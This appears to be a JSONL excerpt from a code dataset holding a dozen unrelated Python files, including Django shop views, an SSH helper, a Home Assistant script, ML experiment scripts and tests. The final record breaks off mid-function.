test_debounce() -> None:\n bounces = [0]\n\n @language_server.debounce(0.1)\n def inc() -> None:\n bounces[0] += 1\n\n inc()\n inc()\n inc()\n\n time.sleep(0.2)\n inc()\n\n assert bounces[0] == 1\n\n\ndef test_pid_exists() -> None:\n assert language_server.pid_exists(0)\n # Test that an invalid PID returns False\n assert not language_server.pid_exists(537920)\n\n\ndef test_workspace_entry() -> None:\n entry = language_server.WorkspaceEntry('', '', [\n Diagnostic.error('foo', 10),\n Diagnostic.warning('fo', 10, 12),\n ])\n parsed = [check_type(LSPDiagnostic, diag) for diag in entry.create_lsp_diagnostics()]\n assert parsed[0] == LSPDiagnostic('foo', 1, LSPRange(LSPPosition(10, 0), LSPPosition(10, 1000)))\n assert parsed[1] == LSPDiagnostic('fo', 2, LSPRange(LSPPosition(10, 0), LSPPosition(12, 1000)))\n\n\ndef test_language_server() -> None:\n server = language_server.LanguageServer(sys.stdin.buffer, sys.stdout.buffer)\n assert server.uri_to_path('file://foo.rst') == Path('foo.rst')\n","sub_path":"snooty/test_language_server.py","file_name":"test_language_server.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410936748","text":"import importlib\nfrom urllib import parse\n\npath_dispatch = {\n ('http', '/p/match'): '.match',\n ('http', '/xml:matches'): '.xml_matches',\n ('https', '/p/match'): '.match',\n ('https', '/xml:matches'): '.xml_matches',\n ('ws', '/command'): '.ws_command',\n}\n\nclass PathDispatchError(Exception): pass\n\n\ndef get_module(url):\n \"\"\"Returns the dispatched module of the given URL.\"\"\"\n parse_result = parse.urlparse(url)\n dispatch_key = parse_result.scheme, parse_result.path\n module_path = path_dispatch.get(dispatch_key)\n if not module_path:\n errfs = 'dispatch failed for {!r}'\n raise PathDispatchError(errfs.format(parse_result.path))\n return importlib.import_module(module_path, __package__)\n\n\ndef geturl(modulename, **query):\n m = importlib.import_module('.' + modulename, __package__)\n return getattr(m, 'geturl')(**query)\n\n\ndef getraw(url):\n \"\"\"Returns the raw data fetched from the given URL.\"\"\"\n return getattr(get_module(url), 'getraw')(url)\n\n\ndef module_getobj(modulename, raw_bytes):\n \"\"\"Returns a parsed object from the given data.\n\n The returned object is JSON compatible.\n The parsing is done with best effort.\n \"\"\"\n m = importlib.import_module('.' + modulename, __package__)\n return getattr(m, 'getobj')(raw_bytes)\n\n\ndef url_getobj(url):\n \"\"\"Returns a parsed object from the given URL.\n\n The returned object is JSON compatible.\n The parsing is done with best effort.\"\"\"\n m = get_module(url)\n raw_bytes = getattr(m, 'getraw')(url)\n return getattr(m, 'getobj')(raw_bytes)\n\n\ndef getsession(url):\n \"\"\"Returns a Session instance for the given URL.\"\"\"\n return getattr(get_module(url), 'getsession')(url)\n","sub_path":"fumbbl/datasource/_routing.py","file_name":"_routing.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"633247410","text":"#SSH module\nimport paramiko\n\ndef _start_connection(source) :\n \"\"\"connect to source\n \n Arguments:\n source {dict} -- source to be connected to \n \n Returns:\n [paramiko] -- ssh object connected\n \"\"\"\n ssh_client=paramiko.SSHClient()\n ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh_client.connect(hostname = source['host_name'],username=source['user_name'],password=source['password'],key_filename = source['key_filename'])\n return ssh_client\n\ndef _get_variable_output(var,ssh_client) :\n \"\"\"get desired variable output from response\n \n Arguments:\n var {dict} -- variable[var] in config file\n ssh_client {paramiko} -- ssh object connected to source\n \n Raises:\n RuntimeError: error obtained in response from source\n RuntimeError: error in splitting method defined in config\n \n Returns:\n result -- output from the response desired\n \"\"\"\n stdin,stdout,stderr=ssh_client.exec_command(var[\"input_method\"]['command'])\n if stderr.readlines() :\n ex = stderr.readlines()\n raise RuntimeError(ex)\n if var['input_method']['start'] or var['input_method']['end'] :\n try:\n out = stdout.readlines()[0]\n if type(var['input_method']['start']) == type(int()) :\n out = out[var['input_method']['start']:var['input_method']['end']]\n else :\n out = out[out.index(var[\"input_method\"]['start']) +1:out.index(var[\"input_method\"]['end'])]\n except Exception as e:\n raise RuntimeError(var['name'] + \" Error in SSH splitting of variable: {}\".format(e))\n else :\n out = stdout.readlines()[0]\n return out\n\n\ndef _get_file(source, variables):\n \"\"\"get all input variables from source\n \n Arguments:\n source {dict} -- source to be connected to\n variables {dict} -- variables in config file\n \n Raises:\n RuntimeError: couldn't connect to host\n \n Returns:\n {dict} -- result of all input variables in source\n \"\"\"\n try:\n ssh_client = _start_connection(source)\n except Exception as e:\n raise RuntimeError(\"Couldn't connect to SSH host!Error: {}\".format(e))\n result = {}\n for var in source['variables']:\n try:\n result[var] = _get_variable_output(variables[var],ssh_client)\n except Exception as e:\n result[var] = e\n return result\n \n ","sub_path":"web-services/business_rules/SSH.py","file_name":"SSH.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"588797952","text":"switch_id = data.get(\"switch_id\")\nlight_id = data.get(\"light_id\")\naction = data.get(\"action\")\n\n\ndef switch_on(hass):\n global switch_id\n hass.services.call(\"switch\", \"turn_on\", {\"entity_id\": switch_id}, False)\n\ndef light_off(hass):\n global light_id\n hass.services.call(\"light\", \"turn_off\", {\"entity_id\": light_id}, False)\n\ndef light_min(hass):\n global light_id\n service_data = {\"brightness\": 3, \"color_temp\": 370, \"entity_id\": light_id}\n hass.services.call(\"light\", \"turn_on\", service_data, False)\n\ndef light_max(hass):\n global light_id\n service_data = {\"brightness\": 255, \"color_temp\": 270, \"entity_id\": light_id}\n hass.services.call(\"light\", \"turn_on\", service_data, False)\n\ndef min_max(hass, switch_id, light_id):\n global switch_on\n global light_off\n global light_min\n global light_max\n\n switch = hass.states.get(switch_id)\n if switch.state == \"off\":\n switch_on(hass)\n light_max(hass)\n return\n\n light = hass.states.get(light_id)\n if light.state == \"off\":\n light_max(hass)\n return\n\n brightness = light.attributes.get(\"brightness\") or 0\n if brightness > 100:\n light_min(hass)\n else:\n light_max(hass)\n\ndef off_max(hass, switch_id, light_id):\n global switch_on\n global light_off\n global light_min\n global light_max\n\n switch = hass.states.get(switch_id)\n if switch.state == \"off\":\n switch_on(hass)\n light_max(hass)\n return\n\n light = hass.states.get(light_id)\n if light.state == \"off\":\n light_max(hass)\n else:\n light_off(hass)\n\ndef to_min(hass, switch_id, light_id):\n global switch_on\n global light_off\n global light_min\n global light_max\n\n switch = hass.states.get(switch_id)\n if switch.state == \"off\":\n switch_on(hass)\n\n light_min(hass)\n\ndef to_max(hass, switch_id, light_id):\n global switch_on\n global light_off\n global light_min\n global light_max\n\n switch = hass.states.get(switch_id)\n if switch.state == \"off\":\n switch_on(hass)\n\n light_max(hass)\n\ndef to_off(hass, switch_id, light_id):\n global switch_on\n global light_off\n global light_min\n global light_max\n\n switch = hass.states.get(switch_id)\n if switch.state != \"off\":\n light_off(hass)\n\n\nif switch_id is None:\n logger.warning(\"Param 'switch_id' is not set\")\nelif light_id is None:\n logger.warning(\"Param 'light_id' is not set\")\nelif action is None:\n logger.warning(\"Param 'action' is not set\")\nelif action == \"min_max\":\n min_max(hass, switch_id, light_id)\nelif action == \"off_max\":\n off_max(hass, switch_id, light_id)\nelif action == \"to_min\":\n to_min(hass, switch_id, light_id)\nelif action == \"to_max\":\n to_max(hass, switch_id, light_id)\nelif action == \"to_off\":\n to_off(hass, switch_id, light_id)\nelse:\n logger.warning(\"Param 'action' has wrong value: '{}'\".format(action))\n","sub_path":"python_scripts/smart_light.py","file_name":"smart_light.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"443526430","text":"from django.conf.urls.defaults import *\n\nurlpatterns = patterns('comments.views',\n url(r'^$', 'comment_test', name = 'comments.comment_test'),\n url(r'^delete/(?P\\d+)/+$', 'delete_comment', name = 'comments.delete_comment'),\n #url(r'^logout/$', 'logout', name = 'regnauth.logout'),\n #url(r'^registration/$', 'RegPage', name = 'regnauth.RegPage'),\n #url(r'^forgotpass/$', 'RestorePassRequestPage', name = 'regnauth.RestorePassRequestPage'),\n\n )\n\n","sub_path":"comments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415327387","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2015 Edgewall Software\n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution. The terms\n# are also available at http://trac.edgewall.org/wiki/TracLicense.\n#\n# This software consists of voluntary contributions made by many\n# individuals. For the exact contribution history, see the revision\n# history and logs, available at http://trac.edgewall.org/log/.\n\nimport unittest\n\nfrom trac.search.web_ui import SearchModule\nfrom trac.test import EnvironmentStub, Mock, MockPerm, locale_en\nfrom trac.ticket.model import Ticket\nfrom trac.ticket.web_ui import TicketModule\nfrom trac.util.datefmt import utc\nfrom trac.web.api import _RequestArgs\n\n\nclass SearchModuleTestCase(unittest.TestCase):\n\n def setUp(self):\n self.env = EnvironmentStub()\n self.search_module = SearchModule(self.env)\n\n def tearDown(self):\n self.env.reset_db()\n\n def _create_request(self, authname='anonymous', **kwargs):\n kw = {'path_info': '/', 'perm': MockPerm(), 'args': _RequestArgs(),\n 'href': self.env.href, 'abs_href': self.env.abs_href,\n 'tz': utc, 'locale': None, 'lc_time': locale_en,\n 'session': {}, 'authname': authname,\n 'chrome': {'notices': [], 'warnings': []},\n 'method': None, 'get_header': lambda v: None, 'is_xhr': False,\n 'form_token': None}\n if 'args' in kwargs:\n kw['args'].update(kwargs.pop('args'))\n kw.update(kwargs)\n def redirect(url, permanent=False):\n raise RequestDone\n return Mock(add_redirect_listener=lambda x: [].append(x),\n redirect=redirect, **kw)\n\n def _insert_ticket(self, **kw):\n \"\"\"Helper for inserting a ticket into the database\"\"\"\n ticket = Ticket(self.env)\n for k, v in kw.items():\n ticket[k] = v\n return ticket.insert()\n\n def test_process_request_page_in_range(self):\n for _ in range(0, 21):\n self._insert_ticket(summary=\"Trac\")\n req = self._create_request(args={'page': '3', 'q': 'Trac',\n 'ticket': 'on'})\n\n data = self.search_module.process_request(req)[1]\n\n self.assertEqual([], req.chrome['warnings'])\n self.assertEqual(2, data['results'].page)\n\n def test_process_request_page_out_of_range(self):\n \"\"\"Out of range value for page defaults to page 1.\"\"\"\n for _ in range(0, 20):\n self._insert_ticket(summary=\"Trac\")\n req = self._create_request(args={'page': '3', 'q': 'Trac',\n 'ticket': 'on'})\n\n data = self.search_module.process_request(req)[1]\n\n self.assertIn(\"Page 3 is out of range.\", req.chrome['warnings'])\n self.assertEqual(0, data['results'].page)\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(SearchModuleTestCase))\n return suite\n\n\nif __name__ == '__main__':\n unittest.main(defaultTest='suite')\n","sub_path":"trac/search/tests/web_ui.py","file_name":"web_ui.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396252105","text":"# K-Nearest Neighbors (K-NN)\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\nimport time\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import SVC\nfrom sklearn.neighbors import KNeighborsClassifier\nstartExecutionTime=time.time()\n\n# Importing the dataset\ndataset = pd.read_csv('covtype.csv')\nX = dataset.iloc[:,:].values\ny = dataset.iloc[:, 54].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.3, random_state = 0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n'''\nn_neighbors=[5]\nalgorithm=['auto','ball_tree','kd_tree','brute']\np=[1,2]\n\nhyperparameters=dict(algorithm=algorithm,n_neighbors=n_neighbors,p=p)\n\ngridSearch=GridSearchCV(KNeighborsClassifier(),hyperparameters,cv=5,n_jobs=-1)\ngridResults=gridSearch.fit(X_train,y_train)\n\nprint(\"\\n\\nBest Accuracy Score %f\\n Best Parameters %s\\n Best Splits %i\" %(gridResults.best_score_,gridResults.best_params_,gridResults.n_splits_ ))\n'''\n\n# Fitting K-NN to the Training set\n\nclassifier = KNeighborsClassifier(n_neighbors = 5, algorithm='auto')\nclassifier.fit(X_train, y_train)\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\n\n\nfrom sklearn.model_selection import learning_curve\n\n#Coming up with training sizes\ntrain_sizes=[5,50,100,150,200,250,300,4000,8000]\n\n#Features=['Mean of the integrated profile',' Standard deviation of the integrated profile',' Excess kurtosis of the integrated profile',' Skewness of the integrated profile',' Mean of the DM-SNR curve',' Standard deviation of the DM-SNR curve',' Excess kurtosis of the DM-SNR curve',' Skewness of the DM-SNR curve']\n#target='target_class'\n\ntrain_sizes, training_scores, test_scores = learning_curve(KNeighborsClassifier(n_neighbors = 5, algorithm='auto'),\n X,\n y, train_sizes = train_sizes, cv = 5,\n scoring = 'neg_mean_squared_error',shuffle='True')\n\nprint('Training scores:\\n\\n', training_scores)\nprint('\\n', '-' * 70) # separator to make the output easy to read\nprint('\\nValidation scores:\\n\\n', test_scores)\n\ntraining_scores_mean = -training_scores.mean(axis = 1)\ntest_scores_mean = -test_scores.mean(axis = 1)\n\nprint('Mean training scores\\n\\n', pd.Series(training_scores_mean, index = train_sizes))\nprint('\\n', '-' * 20) # separator\nprint('\\nMean test scores\\n\\n',pd.Series(test_scores_mean, index = train_sizes))\n\n\nplt.style.use('seaborn')\n\nplt.plot(train_sizes, training_scores_mean, label = 'Training error')\nplt.plot(train_sizes, test_scores_mean, label = 'Test error')\n\nplt.ylabel('MSE', fontsize = 14)\nplt.xlabel('Training set size', fontsize = 14)\nplt.title('Learning curves for a K Nearest Neighbour hyper paramter classification parameters', fontsize = 18, y = 1.03)\nplt.legend()\nplt.ylim(0,4)\nplt.show()\n\n#print('\\nTime taken to execute with random parameters ', time.time()-startExecutionTime)\n\nprint('\\nTime taken to execute with best parameters ', time.time()-startExecutionTime)\n\n##Get accuracy score\naccuracyScore=accuracy_score(y_test,y_pred)\nprint('\\n\\n\\n\\n', 'accuracy score is : ',accuracyScore)\n\nf1Score=f1_score(y_test,y_pred,average=None)\nprint('\\n\\n\\n\\n',' f1 score is : ',f1Score)\n\ntrain_sizes, train_scores, test_scores = learning_curve(KNeighborsClassifier(n_neighbors = 5,algorithm='auto' ),\n X,\n y, train_sizes = train_sizes, cv = 5,\n scoring = 'accuracy',shuffle='True')\n\n# Create means and standard deviations of training set scores\ntrain_mean = np.mean(train_scores, axis=1)\ntrain_std = np.std(train_scores, axis=1)\n\n# Create means and standard deviations of test set scores\ntest_mean = np.mean(test_scores, axis=1)\ntest_std = np.std(test_scores, axis=1)\n\n# Draw lines\nplt.plot(train_sizes, train_mean, '--', color=\"#111111\", label=\"Training score\")\nplt.plot(train_sizes, test_mean, color=\"#111111\", label=\"Cross-validation score\")\n\n# Draw bands\nplt.fill_between(train_sizes, train_mean - train_std, train_mean + train_std, color=\"#DDDDDD\")\nplt.fill_between(train_sizes, test_mean - test_std, test_mean + test_std, color=\"#DDDDDD\")\n\n# Create plot\nplt.title(\"Learning Curve\")\nplt.xlabel(\"Training Set Size\"), plt.ylabel(\"Accuracy Score\"), plt.legend(loc=\"best\")\nplt.tight_layout()\nplt.show()\n\n\n\n\n\n","sub_path":"achivukula9_CS7641/knn_ForestCover_Dataset.py","file_name":"knn_ForestCover_Dataset.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"424470774","text":"import httplib\nfrom BeautifulSoup import BeautifulSoup, Comment\nimport urllib2\nimport feedparser\nimport re\n\ndef getHTML(url):\n\treq = urllib2.Request(url)\n\thandle = urllib2.urlopen(req)\n\treturn handle.read()\n\ndef getText(html):\n\treturnText = ''\n\tsoup = BeautifulSoup(''.join(html))\n\ttexts = soup.find('div',{ \"class\" : \"entry\" },'p')\n\tfor text in texts.contents:\n\t\tkeep = re.compile(r'<.*?>')\n\t\treturnText += keep.sub(' ', str(text))\n\treturn returnText\n\t\nif __name__ == '__main__':\n\thtml = getHTML(\"http://www.artigos.etc.br/montar-uma-empresa-fisica-ou-online.html\")\n\tprint(getText(html))\n\t","sub_path":"TextAnalyseur/tests/artigos.etc.py","file_name":"artigos.etc.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51552770","text":"import sys\nimport os\n# import csv\n# import pandas as pd \n# from csv import DictWriter\n\ndef clear():\n\tos.system( 'cls' )\n\nimport mysql.connector\n\nmydb = mysql.connector.connect(\nhost=\"localhost\",\nuser=\"root\",\npassword=\"password\",\ndatabase=\"Zaks_mini_project\"\n)\n# COURIER FUNCS\ndef couriers_menu_finnish():\n finnish = input(\"\\nPress any key to return to the orders edit menu.\")\n if finnish == \"0\":\n clear()\n couriers_menu()\n else:\n clear()\n couriers_menu()\n\n# COURIER FUNCTIONS\ndef add_courier():\n\tmycursor = mydb.cursor()\n\tnew_courier = input(\"Please enter the full name of a new courier: \")\n\tnew_courier_phone = input(\"Please enter the couriers phone number: \")\n\tcourier_sql = \"INSERT INTO Couriers (Courier_name, Courier_phone_number) VALUES (%s, %s)\"\n\tcourier_val = (new_courier, new_courier_phone)\n\tmycursor.execute(courier_sql, courier_val)\n\tmydb.commit()\n\tprint(mycursor.rowcount, \"record inserted.\")\n\ndef view_couriers():\n\tmycursor = mydb.cursor()\n\tmycursor.execute(\"SELECT * FROM Couriers\")\n\tmyresult = mycursor.fetchall()\n\tfor row in myresult:\n\t\tprint(f\"Courier ID: {row[0]}\")\n\t\tprint(f\"Courier Name: {row[1]}\")\n\t\tprint(f\"Courier Phone number: {row[2]}\")\n\t\tprint (\" \")\n# UPDATING COURIER FUNCTIONS\ndef update_courier_name():\n\tmycursor = mydb.cursor()\n\tsql = \"UPDATE Couriers SET Courier_name = %s WHERE Courier_ID = %s\"\n\treplace_courier_name = int(input(\"Please enter the Courier ID of the courier you wish to update: \"))\n\treplace_courier_name_to = input(\"Please Update this entry with the Full name of a new courier: \")\n\tval = (replace_courier_name_to, replace_courier_name)\n\tmycursor.execute(sql, val)\n\tmydb.commit()\n\tprint(mycursor.rowcount, \"record(s) affected\")\n\ndef update_courier_phone():\n\tmycursor = mydb.cursor()\n\tsql_phone = \"UPDATE Couriers SET Courier_phone_number = %s WHERE Courier_ID = %s\"\n\treplace_courier_phone = int(input(\"Please enter the Courier ID of the courier you wish to update: \\n \\n\"))\n\treplace_courier_phone_to = input(\"Please enter the new phone number: \")\n\tval_phone = (replace_courier_phone_to, replace_courier_phone)\n\tmycursor.execute(sql_phone, val_phone)\n\tmydb.commit()\n\tprint(mycursor.rowcount, \"record(s) affected\")\n\ndef remove_courier():\n mycursor = mydb.cursor()\n sql = \"DELETE FROM Couriers WHERE Courier_ID = %s\"\n val = int(input(\"Please enter the Courier ID of the Courier you wish to remove: \\nCourier ID: \"))\n mycursor.execute(sql, (val,))\n mydb.commit()\n print(mycursor.rowcount, \"record(s) deleted\")\n#______________________________\n# PRODUCTS FUNCS\ndef view_products():\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT * FROM Products\")\n myresult = mycursor.fetchall()\n for row in myresult:\n print(f\"Product ID: {row[0]}\")\n print(f\"Product Name: {row[1]}\")\n print(f\"Product Price: £{row[2]}\")\n print (\" \")\n\ndef add_product():\n\tmycursor = mydb.cursor()\n\tnew_product = input(\"Please enter the name of your new product: \")\n\tnew_product_price = input(\"Please enter price of your new product: \")\n\tx = float(new_product_price)\n\tproducts_sql = \"INSERT INTO Products (Product_name, Price) VALUES (%s, %s)\"\n\tproducts_val = (new_product, x)\n\tmycursor.execute(products_sql, products_val)\n\tmydb.commit()\n\tprint(mycursor.rowcount, \"record inserted.\")\n\ndef update_product_name():\n mycursor = mydb.cursor()\n sql = \"UPDATE Products SET Product_name = %s WHERE Product_ID = %s\"\n replace_product_name = int(input(\"Please enter the Product ID of the Product you wish to update: \"))\n replace_product_name_to = input(\"Please Update this entry with a new product name: \")\n val = (replace_product_name_to, replace_product_name)\n mycursor.execute(sql, val)\n mydb.commit()\n print(mycursor.rowcount, \"record(s) affected\")\n\ndef update_product_price():\n mycursor = mydb.cursor()\n sql = \"UPDATE Products SET Price = %s WHERE Product_ID = %s\"\n replace_product_name = int(input(\"Please enter the Product ID of the Product you wish to update: \"))\n replace_product_name_to = input(\"Please Update this entry with a new product price: \")\n val = (replace_product_name_to, replace_product_name)\n mycursor.execute(sql, val)\n mydb.commit()\n print(mycursor.rowcount, \"record(s) affected\")\n\ndef remove_product():\n mycursor = mydb.cursor()\n sql = \"DELETE FROM Products WHERE Product_ID = %s\"\n val = int(input(\"Please enter the Product ID of the product you wish to remove: \\nProduct ID: \"))\n mycursor.execute(sql, (val,))\n mydb.commit()\n print(mycursor.rowcount, \"record(s) deleted\")\n","sub_path":"week5functions.py","file_name":"week5functions.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"521977578","text":"from exp_base import *\n\n############## choose an experiment ##############\n\ncurrent = 'builder'\ncurrent = 'trainer'\n\nmod = '\"00\"' # \nmod = '\"01\"' # S = 1; show grayscale\nmod = '\"02\"' # halfsize\nmod = '\"03\"' # basic net\nmod = '\"04\"' # train\nmod = '\"05\"' # train; no val set\nmod = '\"06\"' # show recon\nmod = '\"07\"' # again\nmod = '\"08\"' # get samples\nmod = '\"09\"' # get halfheight samples\nmod = '\"10\"' # full data\nmod = '\"11\"' # full data; 100k; B4\nmod = '\"12\"' # full data; 100k; B4; log less freq; gen full image (deleted by accident)\nmod = '\"13\"' # redo\nmod = '\"14\"' # slow logging\n\n############## define experiment ##############\n\nexps['builder'] = [\n 'carla_gengray', # mode\n 'carla_multiview_train10_data', # dataset\n 'carla_bounds', \n '3_iters',\n 'lr0',\n 'B1',\n 'no_shuf',\n 'train_gengray',\n 'fastest_logging',\n]\nexps['trainer'] = [\n 'carla_gengray', # mode\n 'carla_multiview_train_val_data', # dataset\n # 'carla_multiview_train10_val10_data', # dataset\n # 'carla_multiview_train10_data', # dataset\n 'carla_bounds', \n '100k_iters',\n 'lr3',\n 'B4',\n 'train_gengray',\n 'slow_logging',\n]\n\n############## net configs ##############\n\ngroups['train_gengray'] = [\n 'do_gengray = True',\n 'gengray_coeff = 1.0',\n # 'gengray_smooth_coeff = 2.0',\n]\n\n############## datasets ##############\n\n# dims for mem\nSIZE = 16\nZ = int(SIZE*4)\nY = int(SIZE*1)\nX = int(SIZE*4)\nK = 2 # how many objects to consider\nN = 8 # how many objects per npz\nS = 1\nH = 128\nW = 384\n# H and W for proj stuff\nPH = int(H/2.0)\nPW = int(W/2.0)\n\ngroups['carla_multiview_train10_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3ten\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'dataset_location = \"/projects/katefgroup/datasets/carla/processed/npzs\"',\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train10_val10_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3ten\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'valset = \"mabs7i3ten\"',\n 'valset_format = \"multiview\"', \n 'valset_seqlen = %d' % S, \n 'dataset_location = \"/projects/katefgroup/datasets/carla/processed/npzs\"',\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train_val_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3t\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'valset = \"mabs7i3v\"',\n 'valset_format = \"multiview\"', \n 'valset_seqlen = %d' % S, \n 'dataset_location = \"/projects/katefgroup/datasets/carla/processed/npzs\"',\n 'dataset_filetype = \"npz\"'\n]\n\n############## verify and execute ##############\n\ndef _verify_(s):\n varname, eq, val = s.split(' ')\n assert varname in globals()\n assert eq == '='\n assert type(s) is type('')\n\nprint(current)\nassert current in exps\nfor group in exps[current]:\n print(\" \" + group)\n assert group in groups\n for s in groups[group]:\n print(\" \" + s)\n _verify_(s)\n exec(s)\n\ns = \"mod = \" + mod\n_verify_(s)\n\nexec(s)\n","sub_path":"pytorch_disco_recovery/exp_carla_gengray.py","file_name":"exp_carla_gengray.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"648694114","text":"from django.shortcuts import render\nfrom products.models import Product, Category\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse, request\nfrom order.models import ShopCart, Order , OrderProduct\n\n\n\ndef index(request):\n products= Product.objects.order_by('-list_date').filter(is_published= True)\n current_user = request.user\n shopcart = ShopCart.objects.filter(user_id = current_user.id)\n count = shopcart.count()\n context= {\n 'products': products,\n 'count' : count, \n \n }\n return render(request, 'pages/index.html', context)\n \n\ndef cart(request):\n\n current_user = request.user\n shopcart = ShopCart.objects.filter(user_id = current_user.id)\n whole_total = 0\n count = shopcart.count()\n for each in shopcart: \n whole_total+=each.price * each.quantity # add the total price of cart items\n\n context={\n \n 'count':count,\n 'shopcart':shopcart,\n 'whole_total': whole_total\n\n }\n\n return render(request, 'order/cart.html' , context)\n\n\n\ndef addtocart(request , id):\n current_user = request.user\n qty = 0 \n \n checkproduct = ShopCart.objects.filter(user_id = current_user.id , product_id = id)\n if checkproduct: # if product exist in cart\n if request.method == 'POST': # if there is a post\n qty = request.POST.get('qty')\n shopcart = ShopCart.objects.get(user_id = current_user.id , product_id = id )\n\n shopcart.quantity += int(qty)\n\n shopcart.save()\n else: # if doesnot exist\n if request.method == 'POST': # if there is a post\n qty = request.POST.get('qty')\n shopcart = ShopCart()\n shopcart.user = current_user\n shopcart.product = Product.objects.get(id = id )\n shopcart.quantity = qty\n shopcart.save() \n url = request.META.get('HTTP_REFERER')\n return HttpResponseRedirect(url)\n\n\ndef removecart(request, id):\n url = request.META.get('HTTP_REFERER')\n shopcart= ShopCart.objects.filter(id= id)\n ShopCart.objects.filter(id= id).delete()\n\n \n return HttpResponseRedirect(url)\n \ndef checkout(request):\n current_user= request.user\n qty= 0\n whole_total = 0\n shopcart = ShopCart.objects.filter(user_id= current_user.id)\n count = shopcart.count()\n for each in shopcart:\n whole_total+=each.price * each.quantity # add the total price of cart items\n\n \n context={\n \n 'count':count,\n 'shopcart':shopcart,\n 'whole_total' : whole_total\n\n }\n\n\n return render(request, 'order/checkout.html', context)\n\n\ndef order(request, id):\n if request.method == \"POST\":\n current_user = request.user\n \n whole_total = 0\n shopcart = ShopCart.objects.filter(user_id= current_user.id)\n for each in shopcart:\n whole_total+=each.price * each.quantity # add the total price of cart items\n #for order model\n order= Order()\n order.user= current_user\n order.code = \"oppps\"\n order.first_name = request.POST.get('first_name')\n order.last_name = request.POST.get('last_name')\n order.phone = request.POST.get('phone')\n order.email = request.POST.get('email')\n order.address = request.POST.get('address')\n order.address_desc = request.POST.get('address_desc')\n order.city = request.POST.get('city')\n order.total = whole_total\n order.status = request.POST.get('status')\n order.save()\n\n # for order product model\n for items in shopcart:\n orderproduct = OrderProduct()\n orderproduct.user = current_user\n # orderproduct.user = items.user\n orderproduct.order = Order.objects.get(id= order.id)\n # cart_items = ShopCart.objects.filter(user_id= current_user.id)\n \n # orderproduct.product = Product.objects.get(id = items.product.id)\n orderproduct.product = items.product\n orderproduct.quantity = items.quantity\n orderproduct.amount = 5\n orderproduct.price = 1200\n orderproduct.save()\n url = request.META.get('HTTP_REFERER')\n return HttpResponseRedirect(url)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef about(request): \n return render(request, 'pages/about.html')\n\n\ndef contact(request):\n return render(request, 'pages/contact.html')\n\n\ndef termscondition(request):\n return render(request, 'pages/termscondition.html')\n\n\ndef returnpolicy(request): \n return render(request, 'pages/returnpolicy.html')\n","sub_path":"pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462154669","text":"import os\nimport re\nimport json\n\n\ndef get_database_config(development_mode=False):\n url = os.environ['DATABASE_URL']\n pattern = r'([a-zA-Z]+)://([^:]+):([^@]+)@([^/]+)/(.*)'\n match = re.search(pattern, url)\n supported_databases = {\n 'postgres': 'PostgreSQL',\n 'mysql': 'MySQL',\n }\n\n if match is None:\n raise Exception(\n 'Could not parse DATABASE_URL environment variable %s' % url\n )\n\n database_type_input = match.group(1)\n if database_type_input not in supported_databases:\n raise Exception('Unknown database type: %s', database_type_input)\n database_type = supported_databases[database_type_input]\n\n config = {\n 'DatabaseType': database_type,\n 'DatabaseUserName': match.group(2),\n 'DatabasePassword': match.group(3),\n 'DatabaseHost': match.group(4),\n 